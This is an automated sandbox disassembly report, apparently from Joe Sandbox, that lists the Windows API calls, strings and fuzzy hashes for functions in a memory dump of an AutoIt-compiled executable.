Opcode Fuzzy Hash: ce9b6d6a1e38fc50c386144ba6d26226c9b6a2cac15d66a891747098b93758a2
Instruction Fuzzy Hash: 99316BB1600308AFD7219F648C88BAB7FFDEB49746F14859EF84A93211DB30DD489B64

Function 00B4989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00B23AAF,?,?,Bad directive syntax error,00B7CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 00B498BC
LoadStringW.USER32(00000000,?,00B23AAF,?), ref: 00B498C3

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00B49987

Strings

Line %d (File "%s"):, xrefs: 00B4992D
Line %d:, xrefs: 00B49912
., xrefs: 00B4996D
%s (%d) : ==> %s.: %s %s, xrefs: 00B498F1
Error: , xrefs: 00B49955

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 798c7ec1c727813cacb6c878d6ae0006f40c1a835a1db7a02669bfcb18414243
Instruction ID: 9ecc05fd3abdaff3240316a9943af073197e7a173cb83126e9253a3b6176ee90
Opcode Fuzzy Hash: 798c7ec1c727813cacb6c878d6ae0006f40c1a835a1db7a02669bfcb18414243
Instruction Fuzzy Hash: 0421943280025EAFCF15AF90CD0AEEE77B5FF18700F044499F515660A1EB719A58DB51

Function 00B4209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00B420AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00B420C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00B4214D

Strings

largeicons, xrefs: 00B420E1
smallicons, xrefs: 00B42115
list, xrefs: 00B4212F
SHELLDLL_DefView, xrefs: 00B420CC
details, xrefs: 00B420FB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 6a7ccfeec065962620f3f01e85c2149b4616d633c19c6de50deb75cb2a71f436
Instruction ID: f251bf9e07a5f46a1f3d52aae78d6666050968cc8dbe640b1360c511fc41a6c3
Opcode Fuzzy Hash: 6a7ccfeec065962620f3f01e85c2149b4616d633c19c6de50deb75cb2a71f436
Instruction Fuzzy Hash: 63112C76688706B9FA113724DC07DE67BDCDF05725BA000EAF704B50E1FF659A417624

Function 00B18D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53e7878518ab474dec832a940df77c9687bcf1df0a92f9829cd79865768acdd5
Instruction ID: ab1937dcf2a279e51d41d6800edd5ac90328c45fc9b8966c22766177bcb7c9c3
Opcode Fuzzy Hash: 53e7878518ab474dec832a940df77c9687bcf1df0a92f9829cd79865768acdd5
Instruction Fuzzy Hash: C0C1C075A04289AFDB21DFA8D855BFDBBF0BF09310F5841D9F414A7292CB709982CB61

Function 00B1CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00B1CEB7
_free.LIBCMT ref: 00B1CF22
_free.LIBCMT ref: 00B1CF48
_free.LIBCMT ref: 00B1CF71
_free.LIBCMT ref: 00B1CFA9
_free.LIBCMT ref: 00B1CFDA
_free.LIBCMT ref: 00B1D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00B1D09C
_free.LIBCMT ref: 00B1D0B5

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 2004801ebaa3388251001c34fa91d56fa15dd9e0cd62778740e306141ee6a3c7
Instruction ID: 1e0934185b865a4578552e4aded39da663e071a3899b8506ea1f49175bbb82c8
Opcode Fuzzy Hash: 2004801ebaa3388251001c34fa91d56fa15dd9e0cd62778740e306141ee6a3c7
Instruction Fuzzy Hash: 36610471A44301ABDB21AFB89885AFA7FE5EF05360F8442FDF94497281DB319D86C790

Function 00B750D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00B75186
ShowWindow.USER32(?,00000000), ref: 00B751C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 00B751CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 00B751D1

Part of subcall function 00B76FBA: DeleteObject.GDI32(00000000), ref: 00B76FE6

GetWindowLongW.USER32(?,000000F0), ref: 00B7520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B7521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00B7524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00B75287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00B75296

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 5e09489bf0b97a5b2a96b467fa09e75dfcafc728eae8a5b87ee12629c2236647
Instruction ID: 88f3773041ef688189661ee4fb2683f5393e39ea254ccd7d9012498da610e61c
Opcode Fuzzy Hash: 5e09489bf0b97a5b2a96b467fa09e75dfcafc728eae8a5b87ee12629c2236647
Instruction Fuzzy Hash: 23518130A44A08BEEF309F64CC45B993BE5EB05322F54C195F63DA66E1CBF5A980DB40

Function 00AF8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00B36890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00B368A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00B368B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00B368D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00B368F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00AF8874,00000000,00000000,00000000,000000FF,00000000), ref: 00B36901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00B3691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00AF8874,00000000,00000000,00000000,000000FF,00000000), ref: 00B3692D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 215b4446cd94025fc6d70ed49cf893932b86cb2249f99bb618ac15a7fc9bba0e
Instruction ID: 0e0d52c135cb06b8d96b6b18b164d620bd6ba3a6c0963752fd1606ec0dcdc468
Opcode Fuzzy Hash: 215b4446cd94025fc6d70ed49cf893932b86cb2249f99bb618ac15a7fc9bba0e
Instruction Fuzzy Hash: 98518770600209AFDB20CF69CC95BBE7BB5FB58750F20861CFA56972A0DB70E990DB50

Function 00B5C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B5C182
GetLastError.KERNEL32 ref: 00B5C195
SetEvent.KERNEL32(?), ref: 00B5C1A9

Part of subcall function 00B5C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B5C272
Part of subcall function 00B5C253: GetLastError.KERNEL32 ref: 00B5C322
Part of subcall function 00B5C253: SetEvent.KERNEL32(?), ref: 00B5C336
Part of subcall function 00B5C253: InternetCloseHandle.WININET(00000000), ref: 00B5C341

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 6b7fe1ec7c7ad64f841462eee3813137af86b266388826cab0dff3172e531e26
Instruction ID: b54c8a7afe725ad198a6f5c359226199488a394534300eb2d05b0781ca0f6576
Opcode Fuzzy Hash: 6b7fe1ec7c7ad64f841462eee3813137af86b266388826cab0dff3172e531e26
Instruction Fuzzy Hash: 84317C71200701AFDB219FA5DC44B66BFFAFF18302F00449DF95A87611DB31E858ABA0

Function 00B425A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B43A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B43A57
Part of subcall function 00B43A3D: GetCurrentThreadId.KERNEL32 ref: 00B43A5E
Part of subcall function 00B43A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B425B3), ref: 00B43A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00B425BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00B425DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00B425DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00B425E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00B42601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00B42605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00B4260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00B42623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00B42627

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 0e1f530966ff3df8905d90a53a3f5199b49474ff364a6fdcbe21cba971c492e5
Instruction ID: 85664feae87628cf6b9b0ac1f67f6c23ef1a6adac863f0f92ce235f5ed7bcab8
Opcode Fuzzy Hash: 0e1f530966ff3df8905d90a53a3f5199b49474ff364a6fdcbe21cba971c492e5
Instruction Fuzzy Hash: 5E01B130390210BBFB1067689C8AF593E99DB4AB22F600019F318AF0D1CDE26584DA69

Function 00B41803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00B41449,?,?,00000000), ref: 00B4180C
HeapAlloc.KERNEL32(00000000,?,00B41449,?,?,00000000), ref: 00B41813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B41449,?,?,00000000), ref: 00B41828
GetCurrentProcess.KERNEL32(?,00000000,?,00B41449,?,?,00000000), ref: 00B41830
DuplicateHandle.KERNEL32(00000000,?,00B41449,?,?,00000000), ref: 00B41833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B41449,?,?,00000000), ref: 00B41843
GetCurrentProcess.KERNEL32(00B41449,00000000,?,00B41449,?,?,00000000), ref: 00B4184B
DuplicateHandle.KERNEL32(00000000,?,00B41449,?,?,00000000), ref: 00B4184E
CreateThread.KERNEL32(00000000,00000000,00B41874,00000000,00000000,00000000), ref: 00B41868

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: db96f86cb4b30aab51a458f003e605be4f0a77905ef9053105800135f8696af9
Instruction ID: b5429782821fba21e1c0c96bc6fbebf3d9c261965cdb5b5d345f2dc357669b33
Opcode Fuzzy Hash: db96f86cb4b30aab51a458f003e605be4f0a77905ef9053105800135f8696af9
Instruction Fuzzy Hash: 9901BF75640304BFE710AB65DC4DF573FACEB89B11F514429FA05EB5A1CE709840CB20

Function 00B6A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00B4D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00B4D501
Part of subcall function 00B4D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00B4D50F
Part of subcall function 00B4D4DC: CloseHandle.KERNEL32(00000000), ref: 00B4D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00B6A16D
GetLastError.KERNEL32 ref: 00B6A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00B6A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 00B6A268
GetLastError.KERNEL32(00000000), ref: 00B6A273
CloseHandle.KERNEL32(00000000), ref: 00B6A2C4

Strings

SeDebugPrivilege, xrefs: 00B6A18F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 5e0f8bc781e3762684247a4c9980cd760235a3db0625852eedb611db5a67ceaf
Instruction ID: bae0dd180b6bd395c4c05771e5048a47442fffcafdab43f5b06c27f8930293fe
Opcode Fuzzy Hash: 5e0f8bc781e3762684247a4c9980cd760235a3db0625852eedb611db5a67ceaf
Instruction Fuzzy Hash: 49618C302082429FDB20DF19C494F16BBE1EF55318F14849CE46A9B7A3C776ED89CB92

Function 00B73886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00B73925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00B7393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00B73954
_wcslen.LIBCMT ref: 00B73999
SendMessageW.USER32(?,00001057,00000000,?), ref: 00B739C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00B739F4

Strings

SysListView32, xrefs: 00B738F7

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 58aa55b23ee2b6849fb991e5af013c664092907735d6008cb4d2eaec71c30c91
Instruction ID: 6329c7d13968fb47d53ce012a341296d7e886525be239a31590b065f4d05e449
Opcode Fuzzy Hash: 58aa55b23ee2b6849fb991e5af013c664092907735d6008cb4d2eaec71c30c91
Instruction Fuzzy Hash: CA41C571A00218ABDB219F64CC45BEA7BE9FF08750F1045AAF96DE7281D771DE80DB90

Function 00B4BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B4BCFD
IsMenu.USER32(00000000), ref: 00B4BD1D
CreatePopupMenu.USER32 ref: 00B4BD53
GetMenuItemCount.USER32(00C364C0), ref: 00B4BDA4
InsertMenuItemW.USER32(00C364C0,?,00000001,00000030), ref: 00B4BDCC

Strings

0, xrefs: 00B4BCA8
2, xrefs: 00B4BD37

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: e4c3d6cecc2b57c78abc8c37d7501ec719925727092b7c4c1f095ad4921d9704
Instruction ID: 6db5c1f3d971f61adabe10c23f05fb62bb4ebeea2af8e4dc04c07df434e7fb06
Opcode Fuzzy Hash: e4c3d6cecc2b57c78abc8c37d7501ec719925727092b7c4c1f095ad4921d9704
Instruction Fuzzy Hash: 2751BC70A00205ABDF20CFA8C8C4FAEBBF4EF55314F1441E9E61197291D770DA45DB61

Function 00B4C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00B4C913

Strings

stop, xrefs: 00B4C8E4
blank, xrefs: 00B4C895
warning, xrefs: 00B4C8FC
question, xrefs: 00B4C8CC
info, xrefs: 00B4C8B4

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 4124799e571d30c28df6b60c08cf70d8c63c2a6e743e0438ed0b83eca7e9e1fb
Instruction ID: e3036d6ae57c174b0bd22cc35a892bbf5602528b5b39aa91858b2c1f1578966d
Opcode Fuzzy Hash: 4124799e571d30c28df6b60c08cf70d8c63c2a6e743e0438ed0b83eca7e9e1fb
Instruction Fuzzy Hash: DE11EB7278A306BAE7066B549C83CBA6FDCDF15B54B1000BEF900A61D2EB745F406264

Function 00B4DE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00B4DE42
gethostname.WSOCK32(?,00000100), ref: 00B4DE5C
gethostbyname.WSOCK32(?), ref: 00B4DE69
inet_ntoa.WSOCK32(?), ref: 00B4DEAB
_strcat.LIBCMT ref: 00B4DEB9
WSACleanup.WSOCK32 ref: 00B4DEDE

Strings

0.0.0.0, xrefs: 00B4DE87

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: acf69139d74f50a882dcca6533b952ca8e6faa035653697b4c203984d8eef721
Instruction ID: ff9943766133f633526fc3d367da971d4565093dc686099d6a653be0e04c9dc4
Opcode Fuzzy Hash: acf69139d74f50a882dcca6533b952ca8e6faa035653697b4c203984d8eef721
Instruction Fuzzy Hash: 4D11AF71944119AFCF24AB60DC4AEEA7BECDB11711F0001EDF549AB091EF758B819A61

Function 00B79F86 Relevance: 12.3, APIs: 8, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00AF9BB2

GetSystemMetrics.USER32(0000000F), ref: 00B79FC7
GetSystemMetrics.USER32(0000000F), ref: 00B79FE7
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00B7A224
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00B7A242
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00B7A263
ShowWindow.USER32(00000003,00000000), ref: 00B7A282
InvalidateRect.USER32(?,00000000,00000001), ref: 00B7A2A7
DefDlgProcW.USER32(?,00000005,?,?), ref: 00B7A2CA

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 031fddf17dad5e2aad98de4c0fb3ce3a963ab934937bba3563b39bffbed1760a
Instruction ID: 2482207f25dc7f4d748aba7c50d137c1c16eee749c31cabbf645503ed32cc879
Opcode Fuzzy Hash: 031fddf17dad5e2aad98de4c0fb3ce3a963ab934937bba3563b39bffbed1760a
